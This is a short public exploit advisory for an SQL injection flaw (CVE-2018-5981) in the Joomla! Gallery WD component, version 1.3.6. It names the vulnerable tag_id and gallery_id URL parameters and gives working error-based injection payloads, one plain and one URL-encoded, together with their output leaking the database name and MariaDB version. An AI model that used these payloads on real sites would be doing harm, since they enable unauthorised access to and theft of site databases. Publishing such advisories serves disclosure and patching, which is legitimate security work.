Joomla! Gallery WD component version 1.3.6 suffers from a remote SQL injection vulnerability.
eea197069b3867d1ebc408f2765c0641# # # #
# Exploit Title: Joomla! Component Gallery WD 1.3.6 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://web-dorado.com/
# Software Link: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-wd/
# Software Download: https://web-dorado.com/?option=com_wdsubscriptions&view=dwnldfree&format=row&id=162
# Version: 1.3.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5981
# # # #
# Exploit Author: Ihsan Sencan
# # # #
#
# POC:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_gallery_wd&tag_id=&view=GalleryBox&gallery_id=7[SQL]
#
#
# 2)
# http://localhost/[PATH]/index.php?option=com_gallery_wd&tag_id=[SQL]&view=GalleryBox&gallery_id=7
#
#
# # # #
http://localhost/Joomla375/index.php?option=com_gallery_wd&tag_id=(UPDATEXML(1,CONCAT(0x2e,database(),(SELECT (ELT(2=2,1))),version()),8599))&view=GalleryBox &gallery_id=7
1105 XPATH syntax error: 'joomla375110.1.21-MariaDB'
http://localhost/Joomla375/index.php?option=com_gallery_wd&tag_id=&view=GalleryBox&gallery_id=%37%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%37%30%39%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%37%30%39%32%3d%37%30%39%32%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29
1105 XPATH syntax error: '\10.1.21-MariaDB1joomla375'